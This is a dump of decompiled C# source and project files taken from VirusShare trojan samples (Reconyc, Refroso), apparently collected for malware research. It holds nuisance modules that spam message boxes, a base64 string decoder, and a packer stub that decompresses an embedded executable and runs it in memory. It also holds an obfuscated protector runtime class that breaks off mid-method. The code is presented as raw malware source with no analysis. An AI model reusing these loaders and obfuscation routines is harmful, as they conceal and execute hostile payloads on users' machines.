||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>v3.3crypt</AssemblyName>
|
||||
<ApplicationVersion>2.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="wagazfaa.cs" />
|
||||
<Compile Include="djawdaw.cs" />
|
||||
<Compile Include="gazgzgzezegez.cs" />
|
||||
<Compile Include="dadhaw.cs" />
|
||||
<Compile Include="aheehzhdzdhzez.cs" />
|
||||
<Compile Include="ÊÉÈ.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "v3.3crypt", "Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.csproj", "{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{9FC0E6FD-0BFF-4817-8E79-0F271283AABB}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+444
File diff suppressed because one or more lines are too long
+17
@@ -0,0 +1,17 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: dadhaw
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class dadhaw
|
||||
{
|
||||
public static void dadwaa()
|
||||
{
|
||||
int num = (int) Interaction.MsgBox((object) "Feeeedeeeeeeeeeeeeee:)");
|
||||
}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: djawdaw
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class djawdaw
|
||||
{
|
||||
public static void dkwaa()
|
||||
{
|
||||
int num1 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num2 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num3 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num4 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num5 = (int) Interaction.MsgBox((object) "dawawdwaddwadawdAW");
|
||||
int num6 = (int) Interaction.MsgBox((object) "dawdAdwawdaadwW");
|
||||
int num7 = (int) Interaction.MsgBox((object) "dawadwadwdwwdawadadwdAW");
|
||||
int num8 = (int) Interaction.MsgBox((object) "dadwadwadwawdawddwwdAW");
|
||||
int num9 = (int) Interaction.MsgBox((object) "dwawad");
|
||||
int num10 = (int) Interaction.MsgBox((object) "wddwa");
|
||||
int num11 = (int) Interaction.MsgBox((object) "dadwaadwdawdwadawdAW");
|
||||
int num12 = (int) Interaction.MsgBox((object) "dawaddwawdAW");
|
||||
int num13 = (int) Interaction.MsgBox((object) "dawdwadwadAW");
|
||||
int num14 = (int) Interaction.MsgBox((object) "dawdwadwadAW");
|
||||
int num15 = (int) Interaction.MsgBox((object) "dadwwdadwawdAW");
|
||||
int num16 = (int) Interaction.MsgBox((object) "dawddwadwadwawdAW");
|
||||
int num17 = (int) Interaction.MsgBox((object) "dawddwadwaAW");
|
||||
int num18 = (int) Interaction.MsgBox((object) "dawddwawdawadwdaAW");
|
||||
int num19 = (int) Interaction.MsgBox((object) "dawwdawddwadAW");
|
||||
int num20 = (int) Interaction.MsgBox((object) "dawdwadwadAW");
|
||||
int num21 = (int) Interaction.MsgBox((object) "dawdwadwadAW");
|
||||
int num22 = (int) Interaction.MsgBox((object) "dawdwdawdadwaAW");
|
||||
int num23 = (int) Interaction.MsgBox((object) "dawdwdwdadwaAW");
|
||||
int num24 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num25 = (int) Interaction.MsgBox((object) "dawdwdawdaAW");
|
||||
int num26 = (int) Interaction.MsgBox((object) "dawdwdaAW");
|
||||
int num27 = (int) Interaction.MsgBox((object) "dawwdadwadwadAW");
|
||||
int num28 = (int) Interaction.MsgBox((object) "dawddwadwadawAW");
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: gazgzgzezegez
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class gazgzgzezegez
|
||||
{
|
||||
public static void gahawhhawh()
|
||||
{
|
||||
ArrayList arrayList = new ArrayList();
|
||||
arrayList.Add((object) "haeha");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "cawgwagawwag");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
arrayList.Add((object) "kdaokwdowdka");
|
||||
int num = (int) Interaction.MsgBox(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(arrayList[0], arrayList[1]), arrayList[2]), arrayList[3]));
|
||||
}
|
||||
}
|
||||
+49
@@ -0,0 +1,49 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: wagazfaa
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.Collections;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class wagazfaa
|
||||
{
|
||||
public static void yq3yq3yq()
|
||||
{
|
||||
if (Operators.CompareString("kdawjDA", "kzZZkzZKzkz", false) != 0)
|
||||
return;
|
||||
ArrayList arrayList = new ArrayList();
|
||||
arrayList.Add((object) "-> ESC Protector <-");
|
||||
arrayList.Add((object) "-------------------");
|
||||
arrayList.Add((object) "Vladyx Coglione");
|
||||
int num1 = (int) Interaction.MsgBox(RuntimeHelpers.GetObjectValue(arrayList[0]));
|
||||
int num2 = (int) Interaction.MsgBox(RuntimeHelpers.GetObjectValue(arrayList[1]));
|
||||
int num3 = (int) Interaction.MsgBox(RuntimeHelpers.GetObjectValue(arrayList[2]));
|
||||
int num4 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num5 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num6 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num7 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num8 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num9 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num10 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num11 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num12 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num13 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num14 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num15 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num16 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num17 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num18 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num19 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num20 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num21 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num22 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num23 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num24 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
int num25 = (int) Interaction.MsgBox((object) "dawdAW");
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ÊÉÈ
|
||||
// Assembly: v3.3crypt, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: FE568E05-7EAE-46D1-9FCE-549F91511E1F
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.gacr-d47c0a65712aa145bd97605d900844f4aacd274a687fb5962cda290e4e2ab0c3.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
[StandardModule]
|
||||
internal sealed class ÊÉÈ
|
||||
{
|
||||
private static string[] ÊÉÈ(string[] ÈÉË)
|
||||
{
|
||||
UTF8Encoding utF8Encoding = new UTF8Encoding();
|
||||
List<string> stringList = new List<string>();
|
||||
int num = checked (ÈÉË.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
stringList.Add(utF8Encoding.GetString(Convert.FromBase64String(ÈÉË[index])));
|
||||
checked { ++index; }
|
||||
}
|
||||
return stringList.ToArray();
|
||||
}
|
||||
}
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
using System.Reflection;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.ojvv-57e1f030fe18e70378b6dd302c728723775dfe854eda16496aeab4cc2d6fbd87.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{D40A9A96-0255-4106-AC27-1358AE5DD900}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>N0ise</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>mpress</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "N0ise", "Trojan.Win32.Reconyc.ojvv-57e1f030fe18e70378b6dd302c728723775dfe854eda16496aeab4cc2d6fbd87.csproj", "{D40A9A96-0255-4106-AC27-1358AE5DD900}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D40A9A96-0255-4106-AC27-1358AE5DD900}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{D40A9A96-0255-4106-AC27-1358AE5DD900}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{D40A9A96-0255-4106-AC27-1358AE5DD900}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{D40A9A96-0255-4106-AC27-1358AE5DD900}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: mpress._
|
||||
// Assembly: N0ise, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 114E084A-0D06-4592-8512-DF147BDAC1EA
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.ojvv-57e1f030fe18e70378b6dd302c728723775dfe854eda16496aeab4cc2d6fbd87.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace mpress
|
||||
{
|
||||
internal class _
|
||||
{
|
||||
private static Assembly mp;
|
||||
|
||||
private static unsafe int lzmat(byte[] pOs, byte[] pIs, int cI)
|
||||
{
|
||||
int index1;
|
||||
fixed (byte* numPtr1 = pOs)
|
||||
fixed (byte* numPtr2 = pIs)
|
||||
{
|
||||
numPtr1[0] = numPtr2[4];
|
||||
int index2 = 5;
|
||||
index1 = 1;
|
||||
byte num1 = 0;
|
||||
while (index2 < cI - (int) num1)
|
||||
{
|
||||
byte num2 = numPtr2[index2++];
|
||||
if (num1 != (byte) 0)
|
||||
num2 = (byte) ((uint) (byte) ((uint) num2 >> 4) + (uint) (byte) ((uint) numPtr2[index2] << 4));
|
||||
int num3 = 0;
|
||||
while (num3 < 8 && index2 < cI - (int) num1)
|
||||
{
|
||||
if (((int) num2 & 128) == 128)
|
||||
{
|
||||
int num4 = *(int*) (numPtr2 + index2);
|
||||
if (num1 != (byte) 0)
|
||||
num4 >>= 4;
|
||||
++index2;
|
||||
int num5 = num4 & 1048575;
|
||||
int num6;
|
||||
if (index1 < 2177)
|
||||
{
|
||||
int num7 = num5 >> 1;
|
||||
if ((num5 & 1) == 1)
|
||||
{
|
||||
index2 += (int) num1;
|
||||
num6 = (num7 & 2047) + 129;
|
||||
num1 ^= (byte) 1;
|
||||
}
|
||||
else
|
||||
num6 = (num7 & (int) sbyte.MaxValue) + 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num6 = num5 >> 2;
|
||||
switch (num5 & 3)
|
||||
{
|
||||
case 0:
|
||||
num6 = (num6 & 63) + 1;
|
||||
break;
|
||||
case 1:
|
||||
index2 += (int) num1;
|
||||
num6 = (num6 & 1023) + 65;
|
||||
num1 ^= (byte) 1;
|
||||
break;
|
||||
case 2:
|
||||
num6 = (num6 & 16383) + 1089;
|
||||
++index2;
|
||||
break;
|
||||
case 3:
|
||||
index2 += 1 + (int) num1;
|
||||
num6 = (num6 & 262143) + 17473;
|
||||
num1 ^= (byte) 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
int num8 = (int) *(ushort*) (numPtr2 + index2);
|
||||
int num9;
|
||||
if (num1 != (byte) 0)
|
||||
{
|
||||
num9 = num8 >> 4;
|
||||
num1 = (byte) 0;
|
||||
++index2;
|
||||
}
|
||||
else
|
||||
{
|
||||
num9 = num8 & 4095;
|
||||
num1 = (byte) 1;
|
||||
}
|
||||
int num10;
|
||||
if ((num9 & 15) != 15)
|
||||
{
|
||||
num10 = (num9 & 15) + 3;
|
||||
}
|
||||
else
|
||||
{
|
||||
++index2;
|
||||
if (num9 != 4095)
|
||||
{
|
||||
num10 = (num9 >> 4) + 18;
|
||||
}
|
||||
else
|
||||
{
|
||||
int num11 = *(int*) (numPtr2 + index2);
|
||||
if (num1 != (byte) 0)
|
||||
num11 >>= 4;
|
||||
int num12 = num11 & (int) ushort.MaxValue;
|
||||
index2 += 2;
|
||||
if (num12 == (int) ushort.MaxValue)
|
||||
{
|
||||
int num13;
|
||||
if (num1 != (byte) 0)
|
||||
{
|
||||
num13 = (*(int*) (numPtr2 + index2 - 4) & 252) << 5;
|
||||
++index2;
|
||||
num1 = (byte) 0;
|
||||
}
|
||||
else
|
||||
num13 = (*(int*) (numPtr2 + index2 - 5) & 4032) << 1;
|
||||
int num14 = num13 + (((int) num2 & (int) sbyte.MaxValue) + 4) << 1;
|
||||
while (num14-- != 0)
|
||||
{
|
||||
*(int*) (numPtr1 + index1) = *(int*) (numPtr2 + index2);
|
||||
index2 += 4;
|
||||
index1 += 4;
|
||||
}
|
||||
break;
|
||||
}
|
||||
num10 = num12 + 273;
|
||||
}
|
||||
}
|
||||
int num15 = index1 - num6;
|
||||
while (num10-- != 0)
|
||||
numPtr1[index1++] = numPtr1[num15++];
|
||||
}
|
||||
else
|
||||
{
|
||||
numPtr1[index1] = numPtr2[index2];
|
||||
if (num1 != (byte) 0)
|
||||
{
|
||||
numPtr1[index1] = (byte) ((uint) numPtr1[index1] >> 4);
|
||||
byte* numPtr3 = numPtr1 + index1;
|
||||
*numPtr3 = (byte) ((uint) *numPtr3 + (uint) (byte) ((uint) numPtr2[index2 + 1] << 4));
|
||||
}
|
||||
++index1;
|
||||
++index2;
|
||||
}
|
||||
++num3;
|
||||
num2 <<= 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return index1;
|
||||
}
|
||||
|
||||
private static bool lz(byte[] c, out byte[] a, int l)
|
||||
{
|
||||
a = (byte[]) null;
|
||||
if (c[4] != (byte) 77 || c[6] != (byte) 90)
|
||||
return false;
|
||||
byte[] pOs = new byte[8 + (int) c[0] + ((int) c[1] << 8) + ((int) c[2] << 16) + ((int) c[3] << 24)];
|
||||
if (_.lzmat(pOs, c, l) == 0)
|
||||
return false;
|
||||
a = pOs;
|
||||
return true;
|
||||
}
|
||||
|
||||
private static bool lf(string fn, out byte[] a)
|
||||
{
|
||||
FileStream input = new FileStream(fn, FileMode.Open, FileAccess.Read, FileShare.Read);
|
||||
int length1 = (int) input.Length;
|
||||
input.Seek(60L, SeekOrigin.Begin);
|
||||
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
||||
int offset1 = binaryReader.ReadInt32();
|
||||
if (offset1 >= 2 && offset1 <= length1 - 512)
|
||||
{
|
||||
input.Seek((long) offset1, SeekOrigin.Begin);
|
||||
if (binaryReader.ReadUInt32() == 17744U)
|
||||
{
|
||||
int offset2 = offset1 + 348;
|
||||
input.Seek((long) offset2, SeekOrigin.Begin);
|
||||
int num = binaryReader.ReadInt32();
|
||||
if (num < length1 && num >= 768)
|
||||
{
|
||||
int offset3 = num + 16;
|
||||
int length2 = length1 - offset3;
|
||||
byte[] numArray = new byte[length2];
|
||||
input.Seek((long) offset3, SeekOrigin.Begin);
|
||||
input.Read(numArray, 0, length2);
|
||||
input.Close();
|
||||
if (_.lz(numArray, out a, length2))
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
a = (byte[]) null;
|
||||
return false;
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
private static int Main(string[] args)
|
||||
{
|
||||
byte[] a;
|
||||
if (!_.lf(Application.ExecutablePath, out a))
|
||||
{
|
||||
int num = (int) MessageBox.Show("File is invalid.", "MPRESS");
|
||||
return -1;
|
||||
}
|
||||
int num1;
|
||||
try
|
||||
{
|
||||
_.mp = Assembly.Load(a);
|
||||
MethodInfo entryPoint = _.mp.EntryPoint;
|
||||
object[] parameters = (object[]) null;
|
||||
if (entryPoint.GetParameters().Length > 0)
|
||||
parameters = new object[1]{ (object) args };
|
||||
object obj = entryPoint.Invoke((object) null, parameters);
|
||||
num1 = obj == null ? 0 : (int) obj;
|
||||
}
|
||||
catch
|
||||
{
|
||||
num1 = -1;
|
||||
}
|
||||
return num1;
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: AssemblyProduct("Cursor")]
|
||||
[assembly: AssemblyDescription("1")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2010")]
|
||||
[assembly: AssemblyTitle("Cursor")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: CLSCompliant(true)]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, UnmanagedCode = true)]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+651
@@ -0,0 +1,651 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: PvLogiciels.dotNetProtector.RuntimeInterop
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using õ;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace PvLogiciels.dotNetProtector
|
||||
{
|
||||
public class RuntimeInterop : IRuntime
|
||||
{
|
||||
internal Assembly[] ò;
|
||||
internal Assembly \u0081\u00BD;
|
||||
internal string \u0082\u00B4;
|
||||
|
||||
private static unsafe byte* Ô(Assembly _param0) => (byte*) Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]).ToPointer();
|
||||
|
||||
internal RuntimeInterop() => this.ò = new Assembly[0];
|
||||
|
||||
internal unsafe Assembly \u0081â(IntPtr _param1)
|
||||
{
|
||||
int id = AppDomain.CurrentDomain.Id;
|
||||
